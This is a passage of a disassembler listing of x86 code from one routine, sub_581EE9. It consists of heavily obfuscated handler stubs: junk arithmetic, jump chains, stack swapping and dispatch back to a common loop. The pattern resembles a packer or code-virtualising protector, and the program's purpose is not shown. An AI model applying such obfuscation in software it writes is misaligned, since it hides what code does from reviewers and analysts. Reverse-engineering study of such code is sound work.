		mov	cl, 0B6h
		mov	al, cl
		pop	ecx
		shl	al, 4
		push	bx
		mov	bl, 0F7h
		jmp	loc_59C7DC
; ---------------------------------------------------------------------------


loc_5936C2:				; CODE XREF: sub_581EE9+1633Ej
		mov	esi, esp
		push	99Dh
		mov	[esp-6E86h+arg_6E7C+2],	eax
		mov	eax, 568D4920h
		sub	eax, 5ADE2181h
		sub	eax, 0FFFFFFFFh
		not	eax
		xor	eax, 79B828ACh
		xor	eax, 7DE8F0F7h
		add	esi, eax
		pop	eax
		push	ebx
		push	0C55h
		mov	dword ptr [esp-6E82h+arg_6E7A],	edi
		mov	edi, 6DDA21F0h
		mov	ebx, 9225DE14h
		add	ebx, edi
		pop	edi
		add	esi, ebx
		jmp	loc_59E7A9
; ---------------------------------------------------------------------------


loc_593705:				; CODE XREF: sub_581EE9+18DE5j
		pop	ebx
		sub	eax, ecx
		jmp	loc_5A594A
; ---------------------------------------------------------------------------


loc_59370D:				; CODE XREF: sub_581EE9+17730j
		add	edx, ecx
		jmp	loc_59C4DB
; ---------------------------------------------------------------------------


loc_593714:				; CODE XREF: sub_581EE9+15AA8j
		push	eax
		mov	al, 46h
		mov	ch, al
		jmp	loc_59AF2E
; ---------------------------------------------------------------------------


loc_59371E:				; CODE XREF: sub_581EE9+20848j
		mov	[esp-6E86h+arg_6E7C+2],	esi
		mov	esi, 4
		add	eax, 6B423A3Fh
		add	eax, esi
		sub	eax, 6B423A3Fh
		pop	esi
		push	edi
		jmp	loc_59C644
; ---------------------------------------------------------------------------


loc_593739:				; CODE XREF: sub_581EE9+12025j
		sub	edx, 1B8B0C6Ch
		jmp	loc_597F46
; ---------------------------------------------------------------------------


loc_593744:				; CODE XREF: sub_581EE9+233E4j
		add	ecx, ebp
		sub	ecx, 6A146BF9h
		jmp	loc_5996D0
; ---------------------------------------------------------------------------


loc_593751:				; CODE XREF: sub_581EE9+145B4j
		pop	ecx
		not	ebx
		shr	ebx, 3
		add	ebx, 94B746Eh
		not	ebx
		sub	ebx, 1DC01938h
		sub	ebx, 6E032682h
		sub	esi, ebx
		pop	ebx
		shr	esi, 2
		push	edi
		jmp	loc_5A68B3
; ---------------------------------------------------------------------------


loc_593777:				; CODE XREF: sub_581EE9+18DD4j
		pop	edx
		pop	ecx
		add	al, bl
		sub	al, 0B7h
		pop	bx
		add	al, bl
		sub	al, 4Fh
		jmp	loc_5973DB
; ---------------------------------------------------------------------------


loc_593788:				; CODE XREF: sub_581EE9+1B7C9j
		add	eax, 1611490Ah
		add	ebx, eax
		jmp	loc_59324D
; ---------------------------------------------------------------------------


loc_593794:				; CODE XREF: sub_581EE9+18C6Aj
		sub	cl, 0C0h
		sub	dh, cl
		pop	ecx
		jmp	loc_59D1B0
; ---------------------------------------------------------------------------


loc_59379F:				; CODE XREF: sub_581EE9+1C6E6j
		mov	esi, 6E4F23C0h
		and	ecx, esi
		pop	esi
		xor	ecx, 100D04A6h
		neg	ecx
		add	ecx, 98C0603h
		add	ecx, 0CAFDC7FFh
		jmp	loc_59DE11
; ---------------------------------------------------------------------------


loc_5937C0:				; CODE XREF: sub_581EE9+1214Aj
		mov	esi, 761A76C2h
		jmp	loc_594F2E
; ---------------------------------------------------------------------------


loc_5937CA:				; CODE XREF: sub_581EE9+1E44Dj
		pop	ebx
		add	eax, 5D943C91h
		sub	esi, 48006D6h
		add	esi, eax
		add	esi, 48006D6h
		push	[esp-6EA0h+arg_6E96+2]
		pop	eax
		add	esp, 4
		jmp	loc_5A259A
; ---------------------------------------------------------------------------


loc_5937EA:				; CODE XREF: sub_581EE9+15303j
		push	[esp-6EA4h+arg_6E9A+2]
		pop	ebp
		jmp	loc_59FC59
; ---------------------------------------------------------------------------


loc_5937F3:				; CODE XREF: sub_581EE9+24E36j
		mov	esi, edi
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		xor	ebx, esi
		pop	esi
		push	ebx
		push	edx
		mov	edx, 408F53D2h
		xor	[esp-6EA4h+arg_6E9E+2],	edx
		pop	edx
		jmp	loc_59D0D6
; ---------------------------------------------------------------------------


loc_593812:				; CODE XREF: sub_581EE9+23298j
		push	ecx
		mov	ecx, 3DC174FDh
		add	edx, ecx
		pop	ecx
		push	6136h
		mov	[esp-6EA4h+arg_6E9A+2],	edi
		mov	edi, 50D74F43h
		sub	edx, 4A7063E9h
		jmp	loc_59B45B
; ---------------------------------------------------------------------------


loc_593833:				; CODE XREF: sub_581EE9+1DE8Ej
		pop	ebx
		shr	ebx, 8
		and	ebx, 0D710C8Bh
		dec	ebx
		push	edi
		mov	edi, 7A826B23h
		jmp	loc_5A0E20
; ---------------------------------------------------------------------------


loc_593849:				; CODE XREF: sub_581EE9+155B6j
		add	esp, 4
		xchg	eax, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		mov	ax, word ptr [esp-6EACh+arg_6EA4]
		push	6165h
		mov	[esp-6EA8h+arg_6E9E+2],	ecx
		push	1003h
		push	52B8h
		jmp	loc_596A3E
; ---------------------------------------------------------------------------


loc_59386E:				; CODE XREF: sub_581EE9+21B34j
		add	edx, 4
		jmp	loc_5A1C90
; ---------------------------------------------------------------------------


loc_593879:				; CODE XREF: sub_581EE9+20A2Fj
		add	esi, 43E75506h
		pop	eax
		jmp	loc_59BB91
; ---------------------------------------------------------------------------


loc_593885:				; CODE XREF: sub_581EE9+19212j
		and	edi, 2E613227h
		add	edi, 3FC50CFBh
		push	edi
		jmp	loc_59ED8B
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59389F:				; CODE XREF: sub_581EE9+15393j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-6E9Eh+arg_6E96]
		xor	[esp-6E9Eh+arg_6E96], esi
		xor	esi, [esp-6E9Eh+arg_6E96]
		jmp	loc_5A5AA7
; ---------------------------------------------------------------------------


loc_5938BC:				; CODE XREF: sub_581EE9+19F5Bj
		mov	ebx, 11A433D0h
		mov	edi, 28A816FBh
		add	edi, ebx
		pop	ebx
		inc	edi
		or	edi, 43364ECCh
		or	edi, 3DD76399h
		add	edi, 78B63257h
		sub	edi, 0B5AE55FDh
		xor	edx, edi
		pop	edi
		not	edx
		push	edx
		not	[esp-6EA2h+arg_6E9A]
		mov	edx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		push	ebx
		mov	ebx, 1313257h
		and	edx, ebx
		jmp	loc_59A07A
; ---------------------------------------------------------------------------


loc_593901:				; CODE XREF: sub_581EE9+1FE84j
		mov	ebx, 5EBB75B4h
		jmp	loc_5A0DBF
; ---------------------------------------------------------------------------


loc_59390B:				; CODE XREF: sub_581EE9+17306j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E9Eh+arg_6E96]
		pop	esp
		add	esp, 4
		push	5A9Ah
		mov	[esp-6EA2h+arg_6E9A], edi
		jmp	loc_59D4F9
; ---------------------------------------------------------------------------


loc_59392E:				; CODE XREF: sub_581EE9+1740Ej
		not	ch
		jmp	loc_5A2390
; ---------------------------------------------------------------------------


loc_593935:				; CODE XREF: sub_581EE9+1F4D1j
		add	al, 3Fh
		add	al, 0Dh
		add	al, 8Ch
		mov	edx, [esp]
		jmp	loc_5A265C
; ---------------------------------------------------------------------------


loc_593943:				; CODE XREF: sub_581EE9+1DAA4j
		xor	bh, ch
		mov	ecx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		xor	bh, 4Dh
		or	bh, 88h
		push	ecx
		mov	ch, 86h
		or	bh, ch
		pop	ecx
		add	bh, 0E6h
		sub	bh, 1
		push	76F0h
		mov	[esp-6EA2h+arg_6E9A], edx
		mov	dl, 93h
		xor	dl, 9Dh
		sub	dl, 0CEh
		add	dl, 3Ah
		push	ax
		mov	ah, 53h
		or	dl, ah
		jmp	loc_5A0ACD
; ---------------------------------------------------------------------------


loc_59397E:				; CODE XREF: sub_581EE9+2073Ej
		pop	edi
		pop	[esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		mov	[esp-6EA8h+arg_6E9E+2],	esp
		add	[esp-6EA8h+arg_6E9E+2],	4
		pop	ecx
		jmp	loc_594336
; ---------------------------------------------------------------------------


loc_593992:				; CODE XREF: sub_581EE9+1EB7Cj
		push	eax
		push	21117134h
		pop	eax
		inc	eax
		jmp	loc_593479
; ---------------------------------------------------------------------------


loc_59399F:				; CODE XREF: sub_581EE9+182D4j
		add	al, 75h
		push	edx
		jmp	loc_5A3470
; ---------------------------------------------------------------------------
		lodsd
		sub	esi, 308F7CCFh
		push	edx
		mov	edx, 7F6C0B8Fh
		neg	edx
		push	8D3h
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		push	ebp
		mov	ebp, 19A2203Ch
		jmp	loc_5A1944
; ---------------------------------------------------------------------------


loc_5939C9:				; CODE XREF: sub_581EE9+20C77j
		mov	esp, [esp-6E98h+arg_6E8E+2]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5939D6:				; CODE XREF: sub_581EE9+153B1j
		neg	ch
		not	ch
		sub	ch, 0C3h
		inc	ch
		and	ch, 0D8h
		add	ch, 0C9h
		xor	al, ch
		jmp	loc_59B412
; ---------------------------------------------------------------------------


loc_5939EC:				; CODE XREF: sub_581EE9+20BFFj
		sub	edi, 11068B3Bh
		jmp	loc_5A02B5
; ---------------------------------------------------------------------------


loc_5939F7:				; CODE XREF: sub_581EE9+14615j
		or	ebx, 12301559h
		dec	ebx
		jmp	loc_597C8D
; ---------------------------------------------------------------------------


loc_593A03:				; CODE XREF: sub_581EE9+20975j
		cmp	cl, al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_593A0B:				; CODE XREF: sub_581EE9+1A7ECj
		add	ecx, 6B690CFAh
		add	ecx, ebp
		sub	ecx, 6B690CFAh
		pop	ebp
		jmp	loc_5946C8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp-6E92h+arg_6E8A], cl
		pushf
		jmp	loc_59D607
; ---------------------------------------------------------------------------


loc_593A2E:				; CODE XREF: sub_581EE9+134E7j
		push	eax
		jmp	loc_596106
; ---------------------------------------------------------------------------


loc_593A34:				; CODE XREF: sub_581EE9+19452j
		add	ebx, edi
		push	[esp-6E8Ah+arg_6E80+2]
		jmp	loc_59D7F3
; ---------------------------------------------------------------------------


loc_593A3E:				; CODE XREF: sub_581EE9+2106Cj
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edx
		mov	edx, 7FF56BEAh
		sub	ebx, edx
		mov	edx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4


loc_593A51:				; CODE XREF: sub_581EE9+14386j
		push	5241h
		jmp	loc_5A5571
; ---------------------------------------------------------------------------


loc_593A5B:				; CODE XREF: sub_581EE9+15170j
		push	ebp
		mov	ebp, 25C72729h
		jmp	loc_5A2EBA
; ---------------------------------------------------------------------------


loc_593A66:				; CODE XREF: sub_581EE9+222E5j
		mov	esi, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		xor	ebp, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59760D
; ---------------------------------------------------------------------------


loc_593A74:				; CODE XREF: sub_581EE9+225CCj
		mov	esi, 616019F2h
		dec	esi
		add	esi, 216221E3h
		xor	esi, 104E4779h
		jmp	loc_593B17
; ---------------------------------------------------------------------------


loc_593A8B:				; CODE XREF: sub_581EE9+1D542j
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	ebx
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], eax
		jmp	loc_59252D
; ---------------------------------------------------------------------------


loc_593A9A:				; CODE XREF: sub_581EE9+13D80j
		mov	al, 0E8h
		sub	bl, al
		pop	eax
		push	6D9Fh
		mov	[esp-6E7Eh+arg_6E76], edx
		mov	dh, 90h
		add	bl, dh
		jmp	loc_5934B3
; ---------------------------------------------------------------------------


loc_593AB0:				; CODE XREF: sub_581EE9+1C862j
		sub	edi, 6C3E28F5h
		add	edi, 20973E58h
		add	ecx, edi
		pop	edi
		sub	ebx, 26715906h
		add	ebx, ecx
		jmp	loc_59D177
; ---------------------------------------------------------------------------


loc_593ACC:				; CODE XREF: sub_581EE9+10B80j
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp-6EAEh+arg_6EA4+2]
		xor	[esp-6EAEh+arg_6EA4+2],	eax
		xor	eax, [esp-6EAEh+arg_6EA4+2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		movsx	ecx, ax
		push	2143h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_593AF0:				; CODE XREF: sub_581EE9+2247Bj
		ror	dword ptr [esp-6EAAh+arg_6EA2],	cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_593AF9:				; CODE XREF: sub_581EE9+24B53j
		sub	esi, 53B23627h
		and	esi, 2BFD52F5h
		xor	esi, 22590052h
		add	ebp, esi
		pop	esi
		xchg	ebp, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		jmp	loc_59C438
; ---------------------------------------------------------------------------


loc_593B17:				; CODE XREF: sub_581EE9+11B9Dj
		shr	esi, 6
		add	esi, 4D50026Ch
		sub	ebx, esi
		pop	esi
		pop	edi
		sub	esp, 4
		mov	[esp-6E86h+arg_6E7C+2],	ebx
		push	esi
		jmp	loc_59214E
; ---------------------------------------------------------------------------


loc_593B30:				; CODE XREF: sub_581EE9+14258j
		mov	esp, dword ptr [esp-6E82h+arg_6E7A]
		mov	dword ptr [esp-6E82h+arg_6E7A],	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59B7E5
; ---------------------------------------------------------------------------


loc_593B4C:				; CODE XREF: sub_581EE9+218B2j
		mov	ecx, 349961F2h
		push	ebx
		mov	ebx, 43145F4Eh
		inc	ebx
		and	ebx, 2FC6087Dh
		shr	ebx, 3
		jmp	loc_5A4E88
; ---------------------------------------------------------------------------


loc_593B66:				; CODE XREF: sub_581EE9+17353j
		push	4FD530ABh
		pop	ebp
		inc	ebp
		sub	ebp, 0D982394h
		jmp	loc_59BC76
; ---------------------------------------------------------------------------


loc_593B78:				; CODE XREF: sub_581EE9+24718j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp-6E7Ah+arg_6E76]
		mov	edx, [esp-6E76h+arg_6E6E]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp-6E7Eh+arg_6E76]
		mov	[esp-6E7Eh+arg_6E76], ebx
		mov	ebx, esp
		add	ebx, 4
		push	7EFAh
		jmp	loc_5953E6
; ---------------------------------------------------------------------------


loc_593BAD:				; CODE XREF: sub_581EE9+13929j
		add	ebp, ecx
		jmp	loc_59E792
; ---------------------------------------------------------------------------


loc_593BB4:				; CODE XREF: sub_581EE9+188E6j
		shr	esi, 4
		sub	esi, 387A1AF8h
		jmp	loc_59D954
; ---------------------------------------------------------------------------


loc_593BC2:				; CODE XREF: sub_581EE9+23150j
		add	eax, 125E2578h
		jmp	loc_597915
; ---------------------------------------------------------------------------


loc_593BCC:				; CODE XREF: sub_581EE9+24B9Ej
		sub	edi, 694021FEh
		shl	edi, 1
		shr	edi, 8
		xor	edi, 284B3816h
		sub	edx, edi
		pop	edi
		add	edx, ebx
		add	edx, 28561429h
		push	dword ptr [edx]
		sub	[esp-6E7Ah+arg_6E72], 72A533C3h
		pop	eax
		add	eax, 72A533C3h
		pop	edx
		pop	ebx
		push	esi
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], ecx
		jmp	loc_5A6141
; ---------------------------------------------------------------------------


loc_593C05:				; CODE XREF: sub_581EE9+11597j
		pop	eax
		jmp	loc_59C799
; ---------------------------------------------------------------------------


loc_593C0B:				; CODE XREF: sub_581EE9+1A3B7j
		mov	ecx, 7A980B18h
		add	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_5A42B8
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_594E3D
; ---------------------------------------------------------------------------


loc_593C23:				; CODE XREF: sub_581EE9+1F254j
		push	[esp-6E76h+arg_6E6E]
		pop	ecx
		add	esp, 4
		push	bx
		mov	bl, 4Fh
		push	367h
		mov	[esp+0], ecx
		mov	ch, 0B7h
		sub	al, 4Eh
		add	al, ch
		push	edx
		mov	dh, 92h
		and	dh, 4Fh
		jmp	loc_59ACB8
; ---------------------------------------------------------------------------


loc_593C47:				; CODE XREF: sub_581EE9+1DEC4j
		add	ebx, 7816DF4h
		jmp	loc_5A1245
; ---------------------------------------------------------------------------


loc_593C52:				; CODE XREF: sub_581EE9+23423j
		pop	ebp
		add	esi, edx
		push	dword ptr [esp+0]
		jmp	loc_5A3D6F
; ---------------------------------------------------------------------------


loc_593C5D:				; CODE XREF: sub_581EE9+1EFA1j
		pop	esi
		shl	ebp, 2
		or	ebp, 3387532Eh
		shl	ebp, 2
		jmp	loc_59B95E
; ---------------------------------------------------------------------------


loc_593C6F:				; CODE XREF: sub_581EE9+180E6j
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		push	ecx
		push	ebx
		mov	ebx, 382F25EFh
		push	ecx
		mov	ecx, 33A84824h
		jmp	loc_597965
; ---------------------------------------------------------------------------


loc_593C8A:				; CODE XREF: sub_581EE9+23C18j
		mov	ebx, [esp-6E68h+arg_6E60]
		push	edi
		mov	edi, esp
		jmp	loc_5988A3
; ---------------------------------------------------------------------------


loc_593C95:				; CODE XREF: sub_581EE9+1011Cj
		mov	bl, 85h
		push	ebx
		mov	bh, 0DDh
		inc	bh
		neg	bh
		neg	bh
		xor	bh, 0D9h
		xor	bh, 0CDh
		sub	al, bh
		pop	ebx
		add	al, bl
		add	al, 0CAh
		pop	ebx
		mov	cx, word ptr [esp-6EA6h+arg_6E9E]
		add	esp, 2
		jmp	loc_59E6F9
; ---------------------------------------------------------------------------


loc_593CBA:				; CODE XREF: sub_581EE9+1A9E9j
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edi
		mov	edi, 23994F50h
		or	edi, 1DB6684h
		add	edi, 1CFA7BADh
		xor	edi, 55E8BFEBh
		add	ebx, 22031875h
		sub	ebx, edi
		jmp	loc_5A5EC2
; ---------------------------------------------------------------------------


loc_593CE1:				; CODE XREF: sub_581EE9+16805j
		push	[esp-6EAAh+arg_6EA4+2]
		pop	ebp
		jmp	loc_59E417
; ---------------------------------------------------------------------------


loc_593CEB:				; CODE XREF: sub_581EE9+2098Bj
		push	esp
		pop	eax
		jmp	loc_59D6E2
; ---------------------------------------------------------------------------


loc_593CF2:				; CODE XREF: sub_581EE9+221ECj
		add	ebp, 5D6F16EAh
		jmp	loc_59C2A5
; ---------------------------------------------------------------------------


loc_593CFD:				; CODE XREF: sub_581EE9+1B8E0j
		pop	esp
		jmp	loc_5A3FA6
; ---------------------------------------------------------------------------


loc_593D03:				; CODE XREF: sub_581EE9+1E5E6j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		mov	[esp-6EAEh+arg_6EA4+2],	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_592078
; ---------------------------------------------------------------------------


loc_593D23:				; CODE XREF: sub_581EE9+1AB6Ej
		mov	ebp, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_59C8E2
; ---------------------------------------------------------------------------


loc_593D3A:				; CODE XREF: sub_581EE9+1172Dj
		add	esp, 4
		jmp	loc_5A3B0B
; ---------------------------------------------------------------------------


loc_593D42:				; CODE XREF: sub_581EE9+1C798j
		pop	eax
		pop	[esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		push	[esp-6E8Eh+arg_6E84+2]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_5A3854
; ---------------------------------------------------------------------------


loc_593D58:				; CODE XREF: sub_581EE9+1F778j
		pop	esi
		xchg	ecx, esi
		not	ecx
		jmp	loc_59F5CD
; ---------------------------------------------------------------------------


loc_593D62:				; CODE XREF: sub_581EE9+1402Ej
		xor	ebx, ecx
		pop	ecx
		add	edx, ebx
		push	[esp-6E92h+arg_6E8A]
		jmp	loc_5A140D
; ---------------------------------------------------------------------------


loc_593D6F:				; CODE XREF: sub_581EE9+1E966j
		mov	edx, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_5A57DA
; ---------------------------------------------------------------------------


loc_593D84:				; CODE XREF: sub_581EE9+1B1EFj
		mov	ebp, 408F53D2h
		xor	esi, ebp
		pop	ebp
		pop	ebx
		and	[edi+1Ch], esi
		push	[esp-6E9Ah+arg_6E92]
		push	[esp-6E96h+arg_6E8E]
		pop	esi
		push	ebx
		jmp	loc_595643
; ---------------------------------------------------------------------------


loc_593D9D:				; CODE XREF: sub_581EE9+1920Aj
		add	edx, 4
		xchg	edx, [esp-6E92h+arg_6E8A]
		pop	esp
		jmp	loc_59C317
; ---------------------------------------------------------------------------


loc_593DA9:				; CODE XREF: sub_581EE9+1B5F7j
		mov	[esp-6E96h+arg_6E8E], eax
		mov	al, 59h
		mov	dh, al
		mov	eax, [esp-6E96h+arg_6E8E]
		jmp	loc_594CCD
; ---------------------------------------------------------------------------


loc_593DB8:				; CODE XREF: sub_581EE9+18D0Dj
		mov	[esp-6E96h+arg_6E8E], esp
		add	[esp-6E96h+arg_6E8E], 4
		pop	ebx
		jmp	loc_59A31C
; ---------------------------------------------------------------------------


loc_593DC8:				; CODE XREF: sub_581EE9+13C86j
		sub	bh, 80h
		jmp	loc_594911
; ---------------------------------------------------------------------------


loc_593DD0:				; CODE XREF: sub_581EE9+222ACj
		sub	ebp, ebx
		sub	ebp, 27C240C2h
		add	ebp, 36D001ADh
		jmp	loc_595953
; ---------------------------------------------------------------------------


loc_593DE3:				; CODE XREF: sub_581EE9+12E1Dj
		sub	ebx, 5F5A2064h
		push	edi
		mov	edi, 5D950D97h
		xor	edi, 274275E5h
		jmp	loc_595DCC
; ---------------------------------------------------------------------------


loc_593DFA:				; CODE XREF: sub_581EE9+16BADj
		mov	[esp-6E96h+arg_6E8E], ecx
		jmp	loc_593ECB
; ---------------------------------------------------------------------------


loc_593E02:				; CODE XREF: sub_581EE9+1B0FAj
		mov	esi, [esp-6E96h+arg_6E8E]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59FFE0
; ---------------------------------------------------------------------------


loc_593E13:				; CODE XREF: sub_581EE9+14C3Bj
		xor	edx, esi
		pop	esi
		jmp	loc_5943AF
; ---------------------------------------------------------------------------


loc_593E1B:				; CODE XREF: sub_581EE9+1EEE6j
		mov	esp, [esp-6E96h+arg_6E8E]
		mov	fs:[edx], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_593E27:				; CODE XREF: sub_581EE9+16134j
		neg	ecx
		add	ecx, 8F132E77h
		sub	esi, ecx
		pop	ecx
		sub	esi, 0E7C7108h
		jmp	loc_5A4A69
; ---------------------------------------------------------------------------


loc_593E3D:				; CODE XREF: sub_581EE9+2235Aj
		push	28F4h
		mov	[esp-6E96h+arg_6E8E], edx
		push	663Ch
		mov	[esp-6E92h+arg_6E8A], ecx
		push	edx
		jmp	loc_592C80
; ---------------------------------------------------------------------------


loc_593E53:				; CODE XREF: sub_581EE9+17C08j
		pop	ebx
		jmp	loc_59A3CF
; ---------------------------------------------------------------------------


loc_593E59:				; CODE XREF: sub_581EE9+128B3j
		mov	ecx, 1E9C3188h
		mov	edx, ecx
		jmp	loc_59C9AD
; ---------------------------------------------------------------------------


loc_593E65:				; CODE XREF: sub_581EE9+16410j
		mov	ecx, [esp-6E92h+arg_6E8A]
		push	edi
		push	esp
		pop	edi
		jmp	loc_59308B
; ---------------------------------------------------------------------------


loc_593E70:				; CODE XREF: sub_581EE9+21620j
		pop	cx
		add	al, dh
		add	al, 0C2h
		jmp	loc_5A02E4
; ---------------------------------------------------------------------------


loc_593E7B:				; CODE XREF: sub_581EE9+1C5AFj
		add	esi, 4
		jmp	loc_59A08D
; ---------------------------------------------------------------------------


loc_593E86:				; CODE XREF: sub_581EE9+23A3Fj
		pop	esp


loc_593E87:				; CODE XREF: sub_581EE9+113ACj
					; sub_581EE9+1F69Ej
		mov	ebx, [esp-6E94h+arg_6E8A+2]
		sub	esp, 4
		jmp	loc_5A36E3
; ---------------------------------------------------------------------------


loc_593E95:				; CODE XREF: sub_581EE9+13CC3j
		add	dword ptr [esp+0], 7A2A17F1h
		pop	eax
		sub	eax, 7A2A17F1h
		jmp	loc_598DBC
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		jmp	loc_59B96E
; ---------------------------------------------------------------------------


loc_593EAE:				; CODE XREF: sub_581EE9+19AF9j
		mov	[esp+0], ebp
		mov	ebp, 29843AD4h
		jmp	loc_59D74C
; ---------------------------------------------------------------------------


loc_593EBB:				; CODE XREF: sub_581EE9+1A2E2j
		mov	ebx, [esp+0]
		add	esp, 4
		sub	eax, ecx
		jmp	loc_59E49D
; ---------------------------------------------------------------------------


loc_593ECB:				; CODE XREF: sub_581EE9+11F14j
		mov	ecx, 11732914h
		jmp	loc_59A407
; ---------------------------------------------------------------------------


loc_593ED5:				; CODE XREF: sub_581EE9+16169j
		add	esi, 4
		xor	esi, [esp-6E96h+arg_6E8E]
		xor	[esp-6E96h+arg_6E8E], esi
		jmp	loc_592D6D
; ---------------------------------------------------------------------------


loc_593EE6:				; CODE XREF: sub_581EE9+207BFj
		sub	esp, 4
		jmp	loc_5A2D2C
; ---------------------------------------------------------------------------


loc_593EEE:				; CODE XREF: sub_581EE9+1050Aj
		push	eax
		mov	eax, 19FA4C24h
		jmp	loc_59B137
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		mov	edx, 0A287959h
		sub	edx, 9937370Dh
		jmp	loc_593739
; ---------------------------------------------------------------------------


loc_593F13:				; CODE XREF: sub_581EE9+24BBEj
		xor	ecx, edx
		xor	edx, ecx
		add	ecx, 0FFFFFFFFh
		xor	ecx, ebx
		xor	ebx, ecx
		jmp	loc_59DACB
; ---------------------------------------------------------------------------


loc_593F23:				; CODE XREF: sub_581EE9+16539j
		mov	ebp, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		add	ebx, 4
		jmp	loc_59317A
; ---------------------------------------------------------------------------


loc_593F37:				; CODE XREF: sub_581EE9+20958j
		add	ebx, edi
		mov	edi, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp-6EACh+arg_6EA4]
		jmp	loc_59FEE1
; ---------------------------------------------------------------------------


loc_593F4A:				; CODE XREF: sub_581EE9+168DBj
		add	cx, 3278h
		xor	cx, 1692h
		xor	cx, 608Fh
		jmp	loc_59CD34
; ---------------------------------------------------------------------------


loc_593F5E:				; CODE XREF: sub_581EE9+1F540j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		add	esp, 4
		xor	eax, 0EC4E1D0Ch
		and	ecx, eax
		push	[esp-6EB0h+arg_6EA8]
		pop	eax
		add	esp, 4
		jmp	loc_5A0BFB
; ---------------------------------------------------------------------------


loc_593F87:				; CODE XREF: sub_581EE9+1DE72j
		not	ebp
		shr	ebp, 2
		jmp	loc_59B407
; ---------------------------------------------------------------------------


loc_593F91:				; CODE XREF: sub_581EE9+170F7j
		push	edx
		mov	dh, bl
		mov	ch, dh
		mov	edx, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		mov	bx, word ptr [esp-6EB4h+arg_6EAC]
		add	esp, 2
		sub	ch, 0FFh
		jmp	loc_5A3096
; ---------------------------------------------------------------------------


loc_593FAE:				; CODE XREF: sub_581EE9+1F295j
		mov	edi, 0A7C6AD6h
		jmp	loc_5A2E64
; ---------------------------------------------------------------------------


loc_593FB8:				; CODE XREF: sub_581EE9+1FD6Bj
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59AC32
; ---------------------------------------------------------------------------


loc_593FD6:				; CODE XREF: sub_581EE9+139D3j
		push	ebx
		mov	ebx, 5ABC2A38h
		jmp	loc_593201
; ---------------------------------------------------------------------------


loc_593FE1:				; CODE XREF: sub_581EE9+1CB0Aj
		mov	ecx, [esp-6EB0h+arg_6EA8]
		push	ebx
		mov	ebx, esp
		jmp	loc_592D1B
; ---------------------------------------------------------------------------


loc_593FEC:				; CODE XREF: sub_581EE9+13D37j
		pop	esp
		jmp	loc_5A452C
; ---------------------------------------------------------------------------


loc_593FF2:				; CODE XREF: sub_581EE9+21298j
		pop	esp
		jmp	loc_59B38A
; ---------------------------------------------------------------------------


loc_593FF8:				; CODE XREF: sub_581EE9+1CC4Ej
		xor	edx, ebx
		pop	ebx
		inc	edx
		add	edx, 0E2EC54E5h
		add	eax, edx
		pop	edx
		jmp	loc_5A17F6
; ---------------------------------------------------------------------------


loc_59400A:				; CODE XREF: sub_581EE9+11528j
		mov	ebp, 15D71E0Dh
		jmp	loc_59B771
; ---------------------------------------------------------------------------


loc_594014:				; CODE XREF: sub_581EE9+20CEEj
		pop	ebp
		jmp	loc_59F123
; ---------------------------------------------------------------------------


